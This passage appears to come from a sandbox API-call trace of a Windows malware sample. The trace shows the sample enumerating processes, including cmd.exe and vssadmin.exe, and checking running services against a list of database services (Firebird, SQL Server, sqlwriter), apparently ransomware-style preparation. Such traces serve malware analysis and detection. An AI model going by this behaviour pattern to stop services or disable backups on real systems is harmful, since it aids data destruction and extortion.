dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0064.401] lstrlenW (lpString="stupid.exe") returned 10 [0064.401] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0064.402] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0064.402] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0064.402] lstrlenW (lpString="addition.exe") returned 12 [0064.402] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0064.403] lstrlenW (lpString="kept retirement.exe") returned 19 [0064.403] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0064.403] lstrlenW (lpString="lmmold.exe") returned 10 [0064.403] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0064.404] lstrlenW (lpString="soma weighted.exe") returned 17 [0064.404] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0064.404] lstrlenW (lpString="cartridge donation.exe") returned 22 [0064.404] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0064.405] lstrlenW (lpString="anti.exe") returned 8 [0064.405] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0064.405] lstrlenW (lpString="cashiersshot.exe") returned 16 [0064.405] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0064.406] lstrlenW (lpString="poundfi.exe") returned 11 [0064.406] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0064.497] lstrlenW (lpString="conditions_hired.exe") returned 20 [0064.497] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0064.502] lstrlenW (lpString="mercedes.exe") returned 12 [0064.504] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0064.510] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0064.510] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0064.521] lstrlenW (lpString="training_wiring.exe") returned 19 [0064.522] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0064.539] lstrlenW (lpString="democratic.exe") returned 14 [0064.539] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0064.539] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0064.539] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0064.540] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0064.540] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0064.540] lstrlenW (lpString="documented.exe") returned 14 [0064.540] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.541] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.541] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0064.541] lstrlenW (lpString="n.exe") returned 5 [0064.541] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.542] lstrlenW (lpString="cmd.exe") returned 7 [0064.542] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.542] lstrlenW (lpString="conhost.exe") returned 11 [0064.542] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.543] lstrlenW (lpString="vssadmin.exe") returned 12 [0064.543] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.543] lstrlenW (lpString="VSSVC.exe") returned 9 [0064.543] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.544] lstrlenW (lpString="svchost.exe") returned 11 [0064.544] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0064.544] CloseHandle (hObject=0x1fc) returned 1 [0064.544] Sleep (dwMilliseconds=0x1f4) [0065.872] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73ff98 [0065.905] EnumServicesStatusExW (in: hSCManager=0x73ff98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0065.933] GetLastError () returned 0xea [0065.933] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x133c) returned 0x4023080 [0065.933] EnumServicesStatusExW (in: hSCManager=0x73ff98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x133c, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0065.936] CloseServiceHandle (hSCObject=0x73ff98) returned 1 [0065.936] lstrlenW (lpString="Appinfo") returned 7 [0065.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0065.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0065.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0065.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0065.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0065.936] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0065.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0065.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0065.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0065.936] lstrlenW (lpString="AudioSrv") returned 8 [0065.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0065.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0065.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0065.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0065.937] lstrlenW (lpString="BFE") returned 3 [0065.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0065.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0065.937] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0065.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0065.937] lstrlenW (lpString="CryptSvc") returned 8 [0065.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0065.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0065.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0065.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0065.937] lstrlenW (lpString="CscService") returned 10 [0065.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0065.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0065.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0065.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0065.937] lstrlenW (lpString="DcomLaunch") returned 10 [0065.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0065.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0065.937] lstrlenW (lpString="Dhcp") returned 4 [0065.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0065.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0065.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0065.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0065.937] lstrlenW (lpString="Dnscache") returned 8 [0065.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0065.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0065.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0065.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0065.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0065.938] lstrlenW (lpString="DPS") returned 3 [0065.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0065.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0065.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0065.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0065.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0065.938] lstrlenW (lpString="eventlog") returned 8 [0065.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0065.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0065.938] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0065.938] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0065.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0065.938] lstrlenW (lpString="EventSystem") returned 11 [0065.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0065.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0065.938] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0065.938] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0065.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0065.938] lstrlenW (lpString="FontCache") returned 9 [0065.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0065.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0065.938] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0065.938] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0065.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0065.938] lstrlenW (lpString="gpsvc") returned 5 [0065.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0065.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0065.938] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0065.938] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0065.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0065.938] lstrlenW (lpString="iphlpsvc") returned 8 [0065.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.938] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0065.938] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0065.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0065.939] lstrlenW (lpString="LanmanServer") returned 12 [0065.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0065.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0065.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0065.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0065.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0065.939] lstrlenW (lpString="LanmanWorkstation") returned 17 [0065.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0065.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0065.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0065.939] lstrlenW (lpString="lmhosts") returned 7 [0065.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0065.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0065.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0065.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0065.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0065.939] lstrlenW (lpString="MMCSS") returned 5 [0065.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0065.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0065.939] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0065.939] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0065.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0065.939] lstrlenW (lpString="MpsSvc") returned 6 [0065.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0065.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0065.939] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0065.939] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0065.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0065.939] lstrlenW (lpString="Netman") returned 6 [0065.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0065.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0065.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0065.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0065.940] lstrlenW (lpString="netprofm") returned 8 [0065.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0065.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0065.940] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0065.940] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0065.940] lstrlenW (lpString="NlaSvc") returned 6 [0065.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0065.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0065.940] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0065.940] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0065.940] lstrlenW (lpString="nsi") returned 3 [0065.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0065.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0065.940] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0065.940] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0065.940] lstrlenW (lpString="PcaSvc") returned 6 [0065.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0065.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0065.940] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0065.940] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0065.940] lstrlenW (lpString="PlugPlay") returned 8 [0065.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0065.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0065.940] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0065.940] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0065.940] lstrlenW (lpString="Power") returned 5 [0065.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0065.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0065.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0065.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0065.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0065.941] lstrlenW (lpString="ProfSvc") returned 7 [0065.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0065.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0065.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0065.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0065.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0065.941] lstrlenW (lpString="RpcEptMapper") returned 12 [0065.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.941] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0065.941] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0065.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0065.941] lstrlenW (lpString="RpcSs") returned 5 [0065.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0065.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0065.941] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0065.941] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0065.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0065.941] lstrlenW (lpString="SamSs") returned 5 [0065.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0065.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0065.941] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0065.941] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0065.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0065.941] lstrlenW (lpString="Schedule") returned 8 [0065.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0065.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0065.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0065.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0065.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0065.941] lstrlenW (lpString="SENS") returned 4 [0065.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0065.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0065.941] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0065.941] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0065.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0065.942] lstrlenW (lpString="ShellHWDetection") returned 16 [0065.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.942] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0065.942] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0065.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0065.942] 